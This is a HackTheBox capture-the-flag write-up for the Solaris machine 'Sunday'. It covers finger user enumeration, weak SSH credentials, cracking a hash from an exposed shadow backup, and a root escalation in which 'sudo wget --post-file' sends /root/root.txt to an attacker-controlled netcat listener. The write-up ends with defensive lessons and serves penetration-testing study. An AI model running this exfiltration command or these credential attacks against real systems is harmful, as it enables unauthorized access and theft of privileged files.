Sunday - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐☆☆☆☆
• CTF-like: ⭐⭐☆☆☆

Summary

Sunday is a Solaris-based machine that demonstrates classic enumeration techniques against legacy Unix services. The attack path begins with user enumeration via the Finger protocol (RFC 1288), a service rarely seen in modern environments but historically common on UNIX systems. Weak credentials provide initial access, followed by discovery of improperly secured backup files containing password hashes. The privilege escalation chain exploits overly permissive sudo configurations—a common misconfiguration pattern that allows reading arbitrary files through the wget utility. This box serves as an excellent introduction to Solaris reconnaissance and demonstrates why deprecated services and credential reuse remain critical attack vectors.

TL;DR: Finger enumeration (port 79) → SSH weak credentials sunny:sunday → shadow backup hash cracking → sammy:cooldude! → sudo wget file exfiltration → root flag capture.

Reconnaissance

Port Scanning

# Full port scan to identify all open services
nmap -sC -sV -T4 -p- 10.129.43.79

Results:

The scan revealed several open ports on this Solaris 11.4 system:

• 22022/tcp — SSH (running on non-standard port)
• 79/tcp — Finger (user information protocol)
• 111/tcp — RPCbind (RPC port mapper)
• 515/tcp — Printer service
• 6787/tcp — Apache HTTP server

The presence of Finger on port 79 immediately stands out as an uncommon service in modern environments, making it a prime target for enumeration.

Service Enumeration

Finger Protocol (Port 79)

The Finger protocol (RFC 1288) allows remote users to query information about system accounts. While designed for legitimate user lookup, it’s a well-known information disclosure vector that can be abused to enumerate valid usernames on a target system.

# Manual finger enumeration to test for valid users
finger sammy@10.129.43.79
finger sunny@10.129.43.79

Both sammy and sunny were confirmed as valid user accounts on the system. This gives us a short list of potential targets for credential-based attacks.

SSH on Port 22022

# Verify SSH service on non-standard port
nc -nv 10.129.43.79 22022

SSH was confirmed running on the non-standard port 22022, a common security-through-obscurity technique that does little to prevent determined attackers.

Vulnerability Assessment

1. Information Disclosure — Finger service (port 79) allows unauthenticated username enumeration
2. Weak Credentials — Common username/password combinations not blocked or rate-limited
3. Backup File Exposure — Sensitive files stored in world-readable locations
4. Sudo Misconfiguration — Overly permissive NOPASSWD entries for powerful utilities

Initial Foothold

Exploitation Path: Weak Credentials

With two valid usernames (sammy and sunny) confirmed via Finger, the next logical step is credential testing. Given the machine name “Sunday” and the username “sunny,” there’s a reasonable chance of credential reuse or weak password selection.

# Attempt SSH connection with weak credentials
# Testing sunny:sunday based on naming convention
ssh sunny@10.129.43.79 -p 22022
# Password: sunday

Success! The credentials sunny:sunday provided access to the system. This represents a common real-world vulnerability: users often choose passwords related to their username, system name, or other easily guessable patterns.

Initial Access Verification

# Verify current user context
id
# Output: uid=101(sunny) gid=10(staff)

# Check system information
uname -a
# Solaris 11.4 SunOS

# Initial reconnaissance from sunny's shell
ls -la /home
# Directories: sammy, sunny

The sunny account was confirmed as a low-privilege user in the staff group. The presence of another user directory (sammy) suggests a potential lateral movement target.

Privilege Escalation

Stage 1: Lateral Movement to sammy

Backup File Discovery

Exploring the filesystem for sensitive information revealed a backup directory:

# Search for accessible backup locations
ls -la /backup
# -rw-r--r-- shadow.backup
# -rw-r--r-- passwd.backup

The /backup directory (note: not /backups as some older writeups reference) contained readable backup copies of system password files. While /etc/shadow is typically protected, backup copies are often overlooked in permission hardening.

# Read the shadow backup file
cat /backup/shadow.backup

Key Finding: The shadow backup contained password hashes for system users, including sammy. The hash format was SHA-256 crypt ($5$), identifiable by the $5$ prefix:

sammy:$5$Ebkn8jlK$...[truncated]...:6445::::::

Password Hash Cracking

Modern password hashing algorithms like SHA-256 crypt are designed to be slow, making brute-force attacks computationally expensive. However, when users choose weak passwords from common wordlists, even strong hashing algorithms can be defeated.

# Extract sammy's hash to a file
echo 'sammy:$5$Ebkn8jlK$...[full hash]...' > sammy.hash

# Use John the Ripper with the rockyou wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt sammy.hash

# Result: cooldude!

John the Ripper successfully cracked the hash, revealing sammy’s password as cooldude!—another example of a password that appears complex to users but exists in common wordlists.

Lateral Movement Execution

# Switch to sammy user account
su - sammy
# Password: cooldude!

# Verify new user context
id
# uid=101(sammy) gid=10(staff)

# Capture user flag
cat /home/sammy/user.txt
# <redacted>

Stage 2: Privilege Escalation to root

Sudo Enumeration

# Check sudo privileges for sammy
sudo -l

Output:

User sammy may run the following commands on sunday:
    (root) NOPASSWD: /usr/bin/wget

This configuration allows sammy to execute wget as root without password authentication—a critical security misconfiguration. The NOPASSWD directive is often added for convenience in automation scripts but represents a significant privilege escalation risk when applied to powerful utilities.

Exploitation: GTFOBins wget Technique

The GTFOBins project (https://gtfobins.github.io/) catalogs how various Unix binaries can be exploited when granted elevated privileges. The wget utility can exfiltrate arbitrary files using the --post-file parameter, which reads a file and sends its contents in an HTTP POST request.

Attack Strategy:

1. Start a local netcat listener to receive the exfiltrated data
2. Use sudo wget --post-file to read root-owned files
3. Send the file contents to our controlled listener

# On attack machine: start listener to receive exfiltrated data
nc -lvnp 8899

# On target as sammy: exfiltrate root flag using wget
sudo /usr/bin/wget --post-file=/root/root.txt http://10.10.15.180:8899/

Why This Works:

• wget runs with root privileges due to the sudo configuration
• --post-file=/root/root.txt instructs wget to read the specified file (readable by root)
• The contents are sent as POST data in the HTTP request body
• Our netcat listener receives the HTTP request containing the flag

Netcat listener output:

POST / HTTP/1.1
User-Agent: Wget/1.19.5 (solaris2.11)
Accept: */*
Accept-Encoding: identity
Host: 10.10.15.180:8899
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

<redacted>

The flag was successfully captured in the POST request body. This technique is cleaner than alternative methods that involve overwriting system binaries, as it doesn’t modify the target system and works reliably without race conditions.

Attack Chain Summary

Finger Enumeration (port 79) → Valid users: sammy, sunny
    ↓
SSH Weak Credentials → sunny:sunday (port 22022)
    ↓
Backup File Discovery → /backup/shadow.backup (SHA-256 hash)
    ↓
Hash Cracking → sammy:cooldude!
    ↓
Sudo Misconfiguration → (root) NOPASSWD: /usr/bin/wget
    ↓
GTFOBins Exploitation → wget --post-file exfiltration
    ↓
Root Flag Captured

Tools Used

Key Learnings

Techniques Practiced

• Legacy Protocol Enumeration — Exploiting deprecated services (Finger) for information gathering
• Credential Testing — Identifying weak password patterns based on context clues
• Backup File Hunting — Discovering sensitive files in common backup locations
• Unix Password Hash Cracking — SHA-256 crypt hash identification and cracking
• Sudo Abuse — Exploiting NOPASSWD configurations with GTFOBins techniques
• Data Exfiltration — Using wget POST functionality to read privileged files

Lessons Learned

1. Disable Deprecated Services — The Finger protocol serves no legitimate purpose in modern environments and should be disabled. Any information disclosure vector aids attackers in the reconnaissance phase.

2. Implement Strong Password Policies — Both sunday and cooldude! appear in common wordlists. Organizations should enforce password complexity requirements and test credentials against known breach databases.

3. Secure Backup Files — Backup copies of sensitive files (/etc/shadow) must receive the same permission controls as the originals. Automated backup scripts often overlook permission settings on destination files.

4. Minimize Sudo NOPASSWD Usage — The NOPASSWD directive should be reserved for specific, limited commands needed for automation. Powerful utilities like wget, curl, tar, and others can trivially be abused for privilege escalation.

5. Understand GTFOBins — System administrators should be familiar with GTFOBins entries for any binaries granted sudo access. The --post-file parameter in wget is documented functionality, not a vulnerability, but becomes exploitable in privileged contexts.

6. Non-Standard Ports Provide Minimal Security — Running SSH on port 22022 instead of 22 does not prevent discovery or exploitation. Security through obscurity is not a substitute for proper authentication controls.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

• HackTheBox Official Writeup — Sunday (Agent22) — Document No D18.100.20, prepared by Alexander Reid (Arrexel), 29th September 2018
• GTFOBins — wget entry: https://gtfobins.github.io/gtfobins/wget/
• RFC 1288 — The Finger User Information Protocol